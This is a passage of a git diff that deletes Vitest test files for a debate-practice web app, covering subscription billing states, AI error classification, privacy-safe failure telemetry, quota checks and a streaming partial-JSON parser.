vi.advanceTimersByTime(999); }); - expect(result.current.pending).toBe(true); - act(() => { vi.advanceTimersByTime(1); }); - expect(result.current.pending).toBe(false); - }); - - it('clears pending and rethrows when the navigation fails', async () => { - const { result } = renderHook(() => useExternalRedirectPending()); - await act(async () => { - await expect(result.current.run(async () => { throw new Error('no url'); })).rejects.toThrow('no url'); - }); - expect(result.current.pending).toBe(false); - }); - - it('keeps blocking a second request when reset while the first is still running', async () => { - const request = deferred(); - const navigate = vi.fn(() => request.promise); - const { result } = renderHook(() => useExternalRedirectPending()); - let running!: Promise; - act(() => { running = result.current.run(navigate); }); - - act(() => result.current.reset()); - expect(result.current.pending).toBe(true); - await act(() => result.current.run(navigate)); - expect(navigate).toHaveBeenCalledTimes(1); - - await act(async () => { - request.resolve(); - await running; - }); - act(() => result.current.reset()); - expect(result.current.pending).toBe(false); - }); -}); diff --git a/src/hooks/use-subscription.test.tsx b/src/hooks/use-subscription.test.tsx deleted file mode 100644 index 2f8051ae1..000000000 --- a/src/hooks/use-subscription.test.tsx +++ /dev/null @@ -1,175 +0,0 @@ -import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; -import { renderHook, waitFor } from '@testing-library/react'; -import type { ReactNode } from 'react'; -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const orders: { table: string; column: string }[] = []; -let rateLimitResult: { data: { limit_value: number } | null; error: { message: string } | null } = { - data: { limit_value: 12 }, - error: null, -}; - -const ACTIVE_TRIAL: Record = { subscription_tier: 'trial', daily_limit_override: null, trial_ends_at: '2099-01-01T00:00:00.000Z', grace_period_ends_at: null }; -let settingsRow: Record = ACTIVE_TRIAL; -let subscriptionRows: Record[] = []; - -// ai_usage_today: the server's weighted counter, the only source of the count. -let usageToday: { data: number | null; error: { message: string } | null } = { data: 1, error: null }; - -function builder(table: string) { - let column = ''; - const api = { - select: () => api, - eq: () => api, - gte: () => api, - neq: () => api, - not: () => api, - order: (next: string) => { - column = next; - orders.push({ table, column: next }); - return api; - }, - limit: () => api, - maybeSingle: () => Promise.resolve(table === 'user_settings' - ? { data: settingsRow, error: null } - : table === 'rate_limits' ? rateLimitResult : { data: null, error: null }), - then: (resolve: (value: unknown) => void, reject?: (reason: unknown) => void) => Promise.resolve( - table === 'subscriptions' - ? { data: subscriptionRows, error: null } - : table === 'ai_requests' - ? { count: 1, error: null } - : { data: null, error: null }, - ).then(resolve, reject), - }; - return api; -} - -vi.mock('@/lib/supabase/AuthProvider', () => ({ - useAuth: () => ({ user: { id: 'user-1' } }), -})); - -vi.mock('@/lib/supabase/client', () => ({ - supabase: { - from: (table: string) => builder(table), - rpc: (name: string) => Promise.resolve(name === 'ai_usage_today' ? usageToday : { data: null, error: { message: 'unexpected rpc' } }), - }, -})); - -import { useSubscription } from './use-subscription'; - -function wrapper({ children }: { children: ReactNode }) { - const client = new QueryClient({ defaultOptions: { queries: { retry: false } } }); - return {children}; -} - -describe('useSubscription rate limits', () => { - beforeEach(() => { - orders.length = 0; - rateLimitResult = { data: { limit_value: 12 }, error: null }; - usageToday = { data: 1, error: null }; - settingsRow = ACTIVE_TRIAL; - subscriptionRows = []; - }); - - it('reads the account limit ordered by created_at and uses it', async () => { - const { result } = renderHook(() => useSubscription(), { wrapper }); - await waitFor(() => expect(result.current.loading).toBe(false)); - - const rateOrders = orders.filter((order) => order.table === 'rate_limits'); - expect(rateOrders.length).toBeGreaterThan(0); - expect(rateOrders.every((order) => order.column === 'created_at')).toBe(true); - expect(orders.some((order) => order.column === 'updated_at')).toBe(false); - expect(result.current.dailyLimit).toBe(12); - expect(result.current.remainingToday).toBe(11); - }); - - it('logs a lookup error and leaves the remaining count unknown', async () => { - rateLimitResult = { data: null, error: { message: 'column rate_limits.updated_at does not exist' } }; - const warn = vi.spyOn(console, 'warn').mockImplementation(() => {}); - const { result } = renderHook(() => useSubscription(), { wrapper }); - await waitFor(() => expect(result.current.loading).toBe(false)); - - expect(warn).toHaveBeenCalledWith('[useSubscription] rate_limits lookup failed:', 'column rate_limits.updated_at does not exist'); - expect(result.current.remainingToday).toBeNull(); - warn.mockRestore(); - }); - - it('counts what the server charged, not one per logged call', async () => { - // A Sparring round logs a row per call (1 here) but was charged as 3 units - // on a weighted model; refunds and per-round charging only show in the counter. - usageToday = { data: 3, error: null }; - const { result } = renderHook(() => useSubscription(), { wrapper }); - await waitFor(() => expect(result.current.loading).toBe(false)); - expect(result.current.dailyUsed).toBe(3); - expect(result.current.remainingToday).toBe(9); - }); - - // QB-03: Settings counted logged ai_requests rows when the counter could not - // be read, a number the server does not enforce. Unknown is shown as nothing. - it('leaves the count unknown when the counter cannot be read, instead of counting rows', async () => { - usageToday = { data: null, error: { message: 'function not found' } }; - const { result } = renderHook(() => useSubscription(), { wrapper }); - await waitFor(() => expect(result.current.loading).toBe(false)); - expect(result.current.dailyLimit).toBe(12); - expect(result.current.remainingToday).toBeNull(); - }); -}); - -// The hook resolves the same state as the AI functions (billing-state.ts); -// these pin the rows it reads and what it hands Settings. -describe('useSubscription billing states', () => { - const DAY = 24 * 60 * 60 * 1000; - const at = (offsetDays: number) => new Date(Date.now() + offsetDays * DAY).toISOString(); - - beforeEach(() => { - rateLimitResult = { data: null, error: null }; - usageToday = { data: 0, error: null }; - subscriptionRows = []; - }); - - async function load() { - const { result } = renderHook(() => useSubscription(), { wrapper }); - await waitFor(() => expect(result.current.loading).toBe(false)); - return result.current; - } - - it('shows an override on an expired trial as extended access, not Expired (QB-02)', async () => { - settingsRow = { subscription_tier: 'trial', daily_limit_override: 5, trial_ends_at: at(-1), grace_period_ends_at: null }; - const state = await load(); - expect(state.billingState).toBe('extended_access'); - expect(state.dailyLimit).toBe(5); - expect(state.remainingToday).toBe(5); - }); - - it('keeps a past-due payer on Pro with the portal, even with the tier the old webhook wrote (QB-13)', async () => { - settingsRow = { subscription_tier: 'expired', daily_limit_override: null, trial_ends_at: at(-30), grace_period_ends_at: null }; - subscriptionRows = [{ stripe_customer_id: 'cus_1', status: 'past_due', current_period_start: at(-2), current_period_end: at(28) }]; - const state = await load(); - expect(state.billingState).toBe('payment_failed'); - expect(state.billingDateKind).toBe('grace_ends'); - expect(state.isPro).toBe(true); - expect(state.dailyLimit).toBe(50); - expect(state.hasOpenSubscription).toBe(true); - }); - - it('reads cancel_at_period_end and dates a plan set to cancel (QB-15)', async () => { - const periodEnd = at(10); - settingsRow = { subscription_tier: 'pro', daily_limit_override: null, trial_ends_at: null, grace_period_ends_at: null }; - subscriptionRows = [{ stripe_customer_id: 'cus_1', status: 'active', current_period_start: at(-20), current_period_end: periodEnd, cancel_at_period_end: true }]; - const state = await load(); - expect(state.billingState).toBe('pro_canceling'); - expect(state.billingDate).toBe(periodEnd); - expect(state.billingDateKind).toBe('cancels'); - }); - - it('dates a former subscription and gives no access (QB-14)', async () => { - const endedAt = at(-3); - settingsRow = { subscription_tier: 'expired', daily_limit_override: null, trial_ends_at: at(-60), grace_period_ends_at: null }; - subscriptionRows = [{ stripe_customer_id: 'cus_1', status: 'canceled', current_period_start: at(-33), current_period_end: at(-3), ended_at: endedAt }]; - const state = await load(); - expect(state.billingState).toBe('subscription_ended'); - expect(state.billingDate).toBe(endedAt); - expect(state.dailyLimit).toBe(0); - expect(state.hasOpenSubscription).toBe(false); - }); -}); diff --git a/src/lib/ai/errors.test.ts b/src/lib/ai/errors.test.ts deleted file mode 100644 index 899822fd4..000000000 --- a/src/lib/ai/errors.test.ts +++ /dev/null @@ -1,151 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import i18n from '@/i18n'; -import { - AIAuthError, - AIModelRestrictionError, - AINetworkError, - AISubscriptionError, - AIProviderError, - AIServerError, - AIUnknownError, - TimeoutError, - classifyAIError, - mapAIError, -} from './errors'; - -describe('classifyAIError', () => { - it('treats a fetch TypeError as a network failure and does not capture it', () => { - const classification = classifyAIError(new TypeError('Failed to fetch')); - expect(classification).toMatchObject({ errorName: 'AINetworkError', shouldCaptureException: false }); - }); - - it('captures an unknown error under its own name with a privacy-safe cause type', () => { - const classification = classifyAIError(new Error('student motion and private notes')); - expect(classification).toMatchObject({ - errorName: 'AIUnknownError', - shouldCaptureException: true, - causeType: 'Error:Error', - }); - expect(classification.causeType).not.toContain('student'); - expect(JSON.stringify(classification)).not.toContain('private notes'); - }); - - it('keeps subscription, model and timeout failures on their existing names', () => { - expect(classifyAIError(new AISubscriptionError('limit', { statusCode: 402 })).shouldCaptureException).toBe(false); - expect(classifyAIError(new AISubscriptionError('limit', { statusCode: 402 })).errorName).toBe('AISubscriptionError'); - expect(classifyAIError(new AIModelRestrictionError('upgrade')).errorName).toBe('AIModelRestrictionError'); - expect(classifyAIError(new AIAuthError('no', { statusCode: 403 })).shouldCaptureException).toBe(false); - expect(classifyAIError(new TimeoutError())).toMatchObject({ errorName: 'TimeoutError', shouldCaptureException: true }); - }); - - it('reads invalid_output as a malformed answer, not a provider failure', async () => { - const { isInvalidOutputError } = await import('./errors'); - const error = mapAIError({ message: 'failed', context: { status: 502 } }, 'req_1', 'openrouter', 'auto-pro', { error: 'The AI answer came back malformed. Please try again.', code: 'invalid_output', charged: false }); - expect(error.name).toBe('AIResponseError'); - expect(isInvalidOutputError(error)).toBe(true); - expect(error.notCharged).toBe(true); - expect(error.message).toBe(i18n.t('aiErrors.invalidOutput')); - }); - - it('keeps transient provider failures out of exception reports but still reports the rest', () => { - const mapped = (payload: Record, status: number) => - classifyAIError(mapAIError({ message: 'failed', context: { status } }, 'req_1', 'openrouter', 'auto-pro', payload)); - // A Claude outage, and a failure the server marked worth retrying. - expect(mapped({ error: 'Anthropic Claude is temporarily unavailable.', code: 'provider_unavailable' }, 503)).toMatchObject({ errorName: 'AIProviderError', shouldCaptureException: false }); - expect(mapped({ error: 'AI request failed. Please try again.', code: 'provider_error', retryable: true }, 500)).toMatchObject({ errorName: 'AIProviderError', shouldCaptureException: false }); - // An answer that failed validation may be a bug. - expect(mapped({ error: 'AI request failed. Please try again.', code: 'provider_error' }, 500)).toMatchObject({ errorName: 'AIProviderError', shouldCaptureException: true }); - }); - - it('recognizes the other browser network messages and an offline navigator', () => { - expect(classifyAIError(new TypeError('NetworkError when attempting to fetch resource')).errorName).toBe('AINetworkError'); - expect(classifyAIError(new TypeError('Load failed')).errorName).toBe('AINetworkError'); - expect(classifyAIError(new TypeError('Network error')).errorName).toBe('AINetworkError'); - const online = navigator.onLine; - Object.defineProperty(navigator, 'onLine', { configurable: true, value: false }); - try { - expect(classifyAIError(new Error('socket closed')).errorName).toBe('AINetworkError'); - expect(classifyAIError(new AISubscriptionError('limit', { statusCode: 402 })).errorName).toBe('AISubscriptionError'); - } finally { - Object.defineProperty(navigator, 'onLine', { configurable: true, value: online }); - } - }); -}); - -describe('mapAIError', () => { - it('maps a wrapped fetch failure to a network error without a status code', () => { - const error = mapAIError( - { message: 'Failed to send a request to the Edge Function', context: new TypeError('Failed to fetch') }, - 'req-1', - 'openrouter', - 'm', - ); - expect(error).toBeInstanceOf(AINetworkError); - expect(error.statusCode).toBeUndefined(); - expect(classifyAIError(error).shouldCaptureException).toBe(false); - }); - - it('maps an unknown transport error without putting its message in the cause type', () => { - const error = mapAIError({ message: 'student motion leaked' }, 'req-1', 'openrouter', 'm'); - expect(error).toBeInstanceOf(AIUnknownError); - expect((error as AIUnknownError).causeType).toBe('Unknown:Unknown'); - expect((error as AIUnknownError).causeType).not.toContain('student'); - expect(classifyAIError(error).shouldCaptureException).toBe(true); - }); - - it('still maps 402, 403 and abort messages as before', () => { - const limited = mapAIError( - { message: 'Edge Function returned a non-2xx status code', context: { status: 402 } }, - 'req-1', - 'openrouter', - 'm', - { error: 'limit', code: 'limit_reached' }, - ); - expect(limited).toBeInstanceOf(AISubscriptionError); - expect(limited.statusCode).toBe(402); - - const upgrade = mapAIError( - { message: 'Edge Function returned a non-2xx status code', context: { status: 403 } }, - 'req-1', - 'openrouter', - 'm', - { code: 'upgrade_required', error: 'This model requires Pro' }, - ); - expect(upgrade).toBeInstanceOf(AIModelRestrictionError); - - const forbidden = mapAIError( - { message: 'Edge Function returned a non-2xx status code', context: { status: 403 } }, - 'req-1', - 'openrouter', - 'm', - { error: 'Access denied' }, - ); - expect(forbidden).toBeInstanceOf(AIAuthError); - - expect(mapAIError({ message: 'The operation was aborted' }, 'req-1', 'openrouter', 'm')).toBeInstanceOf(TimeoutError); - }); - - it('keeps a provider_error 500 on AIProviderError and other 500s on AIServerError', () => { - const provider = mapAIError( - { message: 'Edge Function returned a non-2xx status code', context: { status: 500 } }, - 'req-1', - 'openrouter', - 'm', - { error: 'AI request failed. Please try again.', code: 'provider_error' }, - ); - expect(provider).toBeInstanceOf(AIProviderError); - expect(provider.statusCode).toBe(500); - expect(classifyAIError(provider).errorName).toBe('AIProviderError'); - - const server = mapAIError( - { message: 'Edge Function returned a non-2xx status code', context: { status: 500 } }, - 'req-1', - 'openrouter', - 'm', - { error: 'Unable to verify your quota. Please try again.' }, - ); - expect(server).toBeInstanceOf(AIServerError); - expect(server.statusCode).toBe(500); - expect(classifyAIError(server)).toMatchObject({ errorName: 'AIServerError', statusCode: 500, shouldCaptureException: true }); - }); -}); diff --git a/src/lib/ai/failure-reason.test.ts b/src/lib/ai/failure-reason.test.ts deleted file mode 100644 index 9875fa9df..000000000 --- a/src/lib/ai/failure-reason.test.ts +++ /dev/null @@ -1,185 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; - -const { invokeMock, captureProductEventMock, captureMock } = vi.hoisted(() => ({ - invokeMock: vi.fn(), - captureProductEventMock: vi.fn(), - captureMock: vi.fn(), -})); - -vi.mock('@/lib/observability', () => ({ - captureException: vi.fn(), - captureProductEvent: captureProductEventMock, -})); - -vi.mock('@/lib/supabase/client', () => ({ - getActiveAccessToken: () => 'token', - getActiveUserId: (): null => null, - invokeAuthenticatedFunction: invokeMock, - invokeAuthenticatedFunctionWith: invokeMock, - supabase: { auth: { getSession: vi.fn() } }, -})); - -import { - AIAuthError, - AIError, - AIModelRestrictionError, - AINetworkError, - AIProviderError, - AIRateLimitError, - AIResponseError, - AIServerError, - AISubscriptionError, - AIUnknownError, - TimeoutError, -} from '@/lib/ai/errors'; -import { aiFailureCode, aiFailureHttpStatus, aiFailureRecovery, aiFailureStage } from '@/lib/ai/failure-reason'; -import { callSupabaseAI } from '@/lib/ai/request'; - -const config = { provider: 'openrouter' as const, model: 'openai/gpt-6-luna', reasoningEffort: 'low' as const }; - -describe('AI failure reasons', () => { - it.each([ - [new AISubscriptionError('limit', { code: 'limit_reached' }), 'limit_reached', 'plan'], - [new AIRateLimitError(), 'limit_reached', 'retry'], - [new AIModelRestrictionError(), 'model_restricted', 'upgrade'], - [new AIAuthError('expired', { statusCode: 401 }), 'auth_expired', 'sign_in'], - [new TimeoutError(), 'timeout', 'retry'], - [new AINetworkError('offline'), 'network', 'retry'], - [new TypeError('Failed to fetch'), 'network', 'retry'], - [new DOMException('The request was canceled.', 'AbortError'), 'aborted', 'none'], - [new AIProviderError('down', { details: { code: 'provider_unavailable' } }), 'provider_error', 'retry'], - [new AIResponseError('bad shape'), 'invalid_response', 'retry'], - [new AIServerError('boom', { statusCode: 503 }), 'server_error', 'retry'], - [new AIError('gone', { statusCode: 502 }), 'server_error', 'retry'], - [new AIError('too large', { statusCode: 413 }), 'unknown', 'none'], - [new AIUnknownError('?'), 'unknown', 'retry'], - [new RangeError('student text'), 'unknown', 'retry'], - ] as const)('%s maps to %s with %s', (error, code, recovery) => { - expect(aiFailureCode(error)).toBe(code); - expect(aiFailureRecovery(error)).toBe(recovery); - }); - - it('sends no status for the browser\'s own timeout', () => { - expect(aiFailureHttpStatus(new TimeoutError())).toBeUndefined(); - expect(aiFailureHttpStatus(new AIServerError('boom', { statusCode: 503 }))).toBe(503); - }); - - it('reports a caller abort as aborted whatever the error says', () => { - expect(aiFailureCode(new TimeoutError(), true)).toBe('aborted'); - }); - - it('files a rejected answer under parse, whatever stage the caller was at', () => { - expect(aiFailureStage(new AIResponseError('bad'), 'stream')).toBe('parse'); - expect(aiFailureStage(new AINetworkError('offline'), 'stream')).toBe('stream'); - expect(aiFailureStage(new TimeoutError())).toBe('request'); - }); -}); - -describe('ai_request_failed reason properties', () => { - beforeEach(() => { - invokeMock.mockReset(); - captureProductEventMock.mockReset(); - }); - - function failedEvent(): Record { - const call = captureProductEventMock.mock.calls.find(([name]) => name === 'ai_request_failed'); - expect(call).toBeDefined(); - return call![1] as Record; - } - - it('sends the tool, code, status, stage and duration of a refused request', async () => { - invokeMock.mockResolvedValue({ data: { error: 'Daily limit reached', code: 'limit_reached', limit: 5, current: 5 }, error: null }); - - await expect(callSupabaseAI('generate', { motion: 'Made up motion' }, config, { debateId: null })).rejects.toBeInstanceOf(AISubscriptionError); - - expect(failedEvent()).toMatchObject({ - tool: 'generate', - error_code: 'limit_reached', - http_status: 402, - stage: 'request', - streaming: false, - duration_ms: expect.any(Number), - // The fields existing insights read stay. - feature: 'generate', - errorName: 'AISubscriptionError', - statusCode: 402, - }); - }); - - it('marks a failure while checking the answer as the parse stage, even for a non-AI error', async () => { - invokeMock.mockResolvedValue({ data: { output: { anything: true } }, error: null }); - - await expect(callSupabaseAI('attack', {}, config, { - debateId: null, - transformResponse: () => { throw new RangeError('Made up motion text'); }, - })).rejects.toBeInstanceOf(AIUnknownError); - - const properties = failedEvent(); - expect(properties).toMatchObject({ tool: 'attack', error_code: 'unknown', stage: 'parse' }); - expect(JSON.stringify(properties)).not.toContain('Made up motion'); - }); - - it('says whether the request was streamed', async () => { - invokeMock.mockRejectedValue(new TypeError('Failed to fetch')); - - await expect(callSupabaseAI('brainstorm', {}, config, { debateId: null, live: { onDraft: () => undefined } })).rejects.toBeInstanceOf(AINetworkError); - - expect(failedEvent()).toMatchObject({ tool: 'brainstorm', error_code: 'network', streaming: true }); - expect(failedEvent().http_status).toBeUndefined(); - }); -}); - -describe('product telemetry schema', () => { - beforeEach(() => { - vi.resetModules(); - captureMock.mockReset(); - vi.stubEnv('VITE_POSTHOG_KEY', 'phc_test'); - vi.stubEnv('VITE_SENTRY_DSN', ''); - vi.doMock('posthog-js', () => ({ default: { init: vi.fn(), capture: captureMock } })); - vi.doUnmock('@/lib/observability'); - }); - - afterEach(() => { - vi.unstubAllEnvs(); - vi.doUnmock('posthog-js'); - }); - - async function sent(name: string, properties: Record): Promise { - const observability = await vi.importActual('@/lib/observability'); - observability.resetObservabilityForTests(); - observability.captureProductEvent(name, properties); - await vi.waitFor(() => expect(captureMock).toHaveBeenCalled()); - return captureMock.mock.calls; - } - - it('lets the failure reason fields through and drops anything outside the schema', async () => { - const calls = await sent('ai_request_failed', { - tool: 'ask', - error_code: 'provider_error', - http_status: 503, - stage: 'stream', - streaming: true, - duration_ms: 1200, - motion: 'Made up motion', - email: 'student@example.com', - }); - expect(calls[0]).toEqual(['ai_request_failed', { - tool: 'ask', - error_code: 'provider_error', - http_status: 503, - stage: 'stream', - streaming: true, - duration_ms: 1200, - }]); - }); - - it('drops a reason value outside the closed set', async () => { - const calls = await sent('ai_request_failed', { error_code: 'Made up motion', stage: 'upload', http_status: 42 }); - expect(calls[0]).toEqual(['ai_request_failed', {}]); - }); - - it('sends the activation events with their bounded properties', async () => { - const calls = await sent('paywall_shown', { reason: 'weekly_budget_reached', tool: 'sparring' }); - expect(calls[0]).toEqual(['paywall_shown', { reason: 'weekly_budget_reached', tool: 'sparring' }]); - }); -}); diff --git a/src/lib/ai/features/session-quota.test.ts b/src/lib/ai/features/session-quota.test.ts deleted file mode 100644 index 906a17abe..000000000 --- a/src/lib/ai/features/session-quota.test.ts +++ /dev/null @@ -1,26 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest'; - -const mocks = vi.hoisted(() => ({ signal: null as AbortSignal | null })); - -vi.mock('@/lib/supabase/client', () => ({ - getActiveAccessToken: () => 'token', - // A quota check that never answers. - invokeAuthenticatedFunction: vi.fn((_name: string, options: { signal?: AbortSignal }) => { - mocks.signal = options.signal ?? null; - return new Promise(() => undefined); - }), -})); - -import { checkSessionQuota, QUOTA_CHECK_TIMEOUT_MS } from './session-quota'; - -describe('checkSessionQuota', () => { - afterEach(() => vi.useRealTimers()); - - it('gives up on a stalled check, so Start goes ahead and the request is cancelled', async () => { - vi.useFakeTimers(); - const result = checkSessionQuota('sparring', { provider: 'openrouter', model: 'anthropic/claude-haiku-5.5' }); - await vi.advanceTimersByTimeAsync(QUOTA_CHECK_TIMEOUT_MS); - await expect(result).resolves.toBeNull(); - expect(mocks.signal?.aborted).toBe(true); - }); -}); diff --git a/src/lib/ai/limit-message.test.ts b/src/lib/ai/limit-message.test.ts deleted file mode 100644 index 5b5a5879e..000000000 --- a/src/lib/ai/limit-message.test.ts +++ /dev/null @@ -1,62 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import i18n from '@/i18n'; -import { mapAIError, AISubscriptionError } from './errors'; -import { getUserFacingAIError } from './error-display'; -import { sessionQuotaError } from './features/session-quota'; -import { subscriptionLimitMessage } from './limit-message'; - -describe('quota refusals are translated, not the server reason', () => { - const refuse = (payload: Record) => - mapAIError({ message: 'Edge Function returned a non-2xx status code', context: { status: 402 } }, 'req-1', 'openrouter', 'm', payload); - - it('uses the catalog text for the weekly cap', () => { - const error = refuse({ error: "You've reached this week's AI usage allowance.", code: 'weekly_budget_reached' }); - expect(error).toBeInstanceOf(AISubscriptionError); - expect(error.message).toBe(i18n.t('limitModal.weeklyReachedDesc')); - }); - - it('says a model heavier than the whole daily limit never fits', () => { - const error = refuse({ error: 'This model counts as 5 requests', code: 'limit_reached', limit: 3, current: 0, units: 5 }); - expect(error.message).toBe(i18n.t('limitModal.weightedTooLargeDesc', { units: 5, limit: 3 })); - expect(error.message).not.toMatch(/midnight/); - }); - - it('keeps the weighted message when lighter requests still fit', () => { - const error = refuse({ error: 'x', code: 'limit_reached', limit: 50, current: 47, units: 5 }); - expect(error.message).toBe(i18n.t('limitModal.weightedDesc', { units: 5, remaining: 3 })); - }); - - // QB-06: a 402 without a code once showed "Edge Function returned a non-2xx status code". - it('never shows the server text, even when the refusal carries no code', () => { - const error = refuse({ error: 'Server text' }); - expect(error.message).toBe(i18n.t('limitModal.limitReachedGenericDesc')); - expect(getUserFacingAIError(error)).not.toMatch(/Server text|non-2xx/); - }); - - it('explains a zero limit instead of "0 of 0 used"', () => { - expect(refuse({ error: 'x', code: 'limit_reached', limit: 0, current: 0 }).message).toBe(i18n.t('limitModal.zeroLimitDesc')); - }); -}); - -// QB-06: the one-shot tools (Generate, Attack, Ask, Brainstorm, Factoids) meet a -// refusal through mapAIError; Crossfire and Sparring also meet it before Start -// through the quota check. Both must read exactly as the limit dialog does. -describe('a refusal reads the same in every mode', () => { - const REFUSALS = [ - { code: 'limit_reached', limit: 5, current: 5, units: 1 }, - { code: 'limit_reached', limit: 50, current: 47, units: 5 }, - { code: 'weekly_budget_reached', limit: 50, current: 20, units: 1 }, - { code: 'trial_ended', limit: 0, current: 0, units: 1 }, - { code: 'payment_failed', limit: 0, current: 0, units: 1 }, - { code: 'subscription_ended', limit: 0, current: 0, units: 1 }, - ]; - - it.each(REFUSALS)('$code ($current of $limit, $units units)', (details) => { - const dialog = subscriptionLimitMessage(details); - const oneShot = mapAIError({ message: 'Edge Function returned a non-2xx status code', context: { status: 402 } }, 'r', 'openrouter', 'm', { error: 'English server reason', ...details }); - const beforeStart = sessionQuotaError({ allowed: false, ...details }); - expect(oneShot.message).toBe(dialog); - expect(beforeStart?.message).toBe(dialog); - expect(getUserFacingAIError(oneShot)).toBe(dialog); - }); -}); diff --git a/src/lib/ai/partial-json.test.ts b/src/lib/ai/partial-json.test.ts deleted file mode 100644 index 7543bc69a..000000000 --- a/src/lib/ai/partial-json.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { describe, expect, it } from 'vitest'; -import { parsePartialJson } from '@debatelab/core/ai/partial-json'; - -describe('parsePartialJson', () => { - it('returns nothing before the opening brace', () => { - expect(parsePartialJson('')).toBeUndefined(); - expect(parsePartialJson('```json\n')).toBeUndefined(); - }); - - it('skips a code fence or prose before the object', () => { - expect(parsePartialJson('```json\n{"a": 1}\n```')).toEqual({ a: 1 }); - expect(parsePartialJson('Here you go: {"a": "b"}')).toEqual({ a: 'b' }); - }); - - it('keeps a string that is still being written', () => { - expect(parsePartialJson('{"thesis": "Free transit wid')).toEqual({ thesis: 'Free transit wid' }); - }); - - it('drops a dangling escape and a half-written unicode escape', () => { - expect(parsePartialJson('{"a": "line\\')).toEqual({ a: 'line' }); - expect(parsePartialJson('{"a": "caf\\u00')).toEqual({ a: 'caf' }); - expect(parsePartialJson('{"a": "caf\\u00e9 \\"ok\\" \\n"}')).toEqual({ a: 'café "ok" \n' }); - }); - - it('drops a lone high surrogate until its pair arrives', () => { - expect(parsePartialJson('{"a": "x\\ud83d')).toEqual({ a: 'x' }); - expect(parsePartialJson('{"a": "x\\ud83d\\ude00"}')).toEqual({ a: 'x😀' }); - }); - - it('leaves out a key with no value yet', () => { - expect(parsePartialJson('{"a": "done", "b')).toEqual({ a: 'done' }); - expect(parsePartialJson('{"a": "done", "b"')).toEqual({ a: 'done' }); - expect(parsePartialJson('{"a": "done", "b":')).toEqual({ a: 'done' }); - expect(parsePartialJson('{"a": "done",')).toEqual({ a: 'done' }); - }); - - it('never guesses a literal or number that may still change', () => { - expect(parsePartialJson('{"a": tr')).toEqual({}); - expect(parsePartialJson('{"a": true, "b": fal')).toEqual({ a: true }); - expect(parsePartialJson('{"a": nul')).toEqual({}); - expect(parsePartialJson('{"a": -')).toEqual({}); - expect(parsePartialJson('{"a": 1.')).toEqual({}); - expect(parsePartialJson('{"a": 2e')).toEqual({}); - // A number at the end can still grow, so it is shown but not final. - expect(parsePartialJson('{"score": 7')).toEqual({ score: 7 }); - expect(parsePartialJson('{"score": 72, "x": null}')).toEqual({ score: 72, x: null }); - }); - - it('builds nested arrays of objects as they arrive', () => { - const text = '{"contentions": [{"id": "1", "claim": "Access"}, {"id": "2", "claim": "Co'; - expect(parsePartialJson(text)).toEqual({ - contentions: [{ id: '1', claim: 'Access' }, { id: '2', claim: 'Co' }], - }); - expect(parsePartialJson('{"list": ["a", "b", ')).toEqual({ list: ['a', 'b'] }); - expect(parsePartialJson('{"list": [[1, 2], [3')).toEqual({ list: [[1, 2], [3]] }); - }); - - it('agrees with JSON.parse on every prefix of a complete answer', () => { - const answer = { - caseStructure: { thesis: 'Transit "for all"', keyDefinitions: ['fare', 'access'] }, - contentions: [{ id: '1', needsSource: false, impact: 'Ünïcode — ok', score: -12.5e1 }], - empty: {}, - none: null as string | null, - }; - const text = JSON.stringify(answer, null, 2); - expect(parsePartialJson(text)).toEqual(answer); - for (let end = 1; end < text.length; end++) { - // Every prefix parses without throwing, and anything complete in it is exact. - const partial = parsePartialJson(text.slice(0, end)); - expect(partial).toBeTypeOf('object'); - } - }); -}); diff --git a/src/lib/ai/request-failure.test.ts b/src/lib/ai/request-failure.test.ts deleted file mode 100644 index 0b079bf1d..000000000 --- a/src/lib/ai/request-failure.test.ts +++ /dev/null @@ -1,101 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest'; - -const { invokeMock, captureExceptionMock, captureProductEventMock } = vi.hoisted(() => ({ - invokeMock: vi.fn(), - captureExceptionMock: vi.fn(), - captureProductEventMock: vi.fn(), -})); - -vi.mock('@/lib/observability', () => ({ - captureException: captureExceptionMock, - captureProductEvent: captureProductEventMock, -})); - -vi.mock('@/lib/supabase/client', () => ({ - getActiveAccessToken: () => 'token', - invokeAuthenticatedFunction: invokeMock, - invokeAuthenticatedFunctionWith: invokeMock, - supabase: { auth: { getSession: vi.fn() } }, -})); - -import { AIAuthError, AIModelRestrictionError, AINetworkError, AISubscriptionError, AIUnknownError, TimeoutError } from '@/lib/ai/errors'; -import { callSupabaseAI } from '@/lib/ai/request'; - -const config = { provider: 'openrouter' as const, model: 'openai/gpt-6-luna', reasoningEffort: 'low' as const }; - -function failedEvents() { - return captureProductEventMock.mock.calls.filter((call) => call[0] === 'ai_request_failed'); -} - -describe('callSupabaseAI failure reporting', () => { - beforeEach(() => { - invokeMock.mockReset(); - captureExceptionMock.mockReset(); - captureProductEventMock.mockReset(); - }); - - it('does not capture a fetch TypeError and still records the network failure', async () => { - invokeMock.mockRejectedValue(new TypeError('Failed to fetch')); - - await expect(callSupabaseAI('generate', { motion: 'Made up motion' }, config, { debateId: null })).rejects.toBeInstanceOf(AINetworkError); - - expect(captureExceptionMock).not.toHaveBeenCalled(); - expect(failedEvents()).toEqual([ - expect.arrayContaining(['ai_request_failed', expect.objectContaining({ feature: 'generate', errorName: 'AINetworkError' })]), - ]); - const properties = failedEvents()[0][1] as Record; - expect(properties.statusCode).toBeUndefined(); - expect(JSON.stringify(properties)).not.toContain('Failed to fetch'); - }); - - it('captures an unknown error with the cause type and not the message', async () => { - invokeMock.mockRejectedValue(new RangeError('student motion leaked')); - - await expect(callSupabaseAI('generate', {}, config, { debateId: null })).rejects.toBeInstanceOf(AIUnknownError); - - expect(captureExceptionMock).toHaveBeenCalledTimes(1); - const [captured, extra] = captureExceptionMock.mock.calls[0] as [Error, Record]; - expect(captured.name).toBe('AIUnknownError'); - expect(extra.causeType).toBe('RangeError:RangeError'); - expect(JSON.stringify(extra)).not.toContain('student'); - expect(failedEvents()[0][1]).toMatchObject({ errorName: 'AIUnknownError', feature: 'generate' }); - }); - - it('keeps 402, 403 and timeouts on their existing reporting', async () => { - invokeMock.mockResolvedValueOnce({ - data: null, - error: { - message: 'Edge Function returned a non-2xx status code', - context: { status: 402, json: async () => ({ error: 'limit', code: 'limit_reached', limit: 5, current: 5 }) }, - }, - }); - await 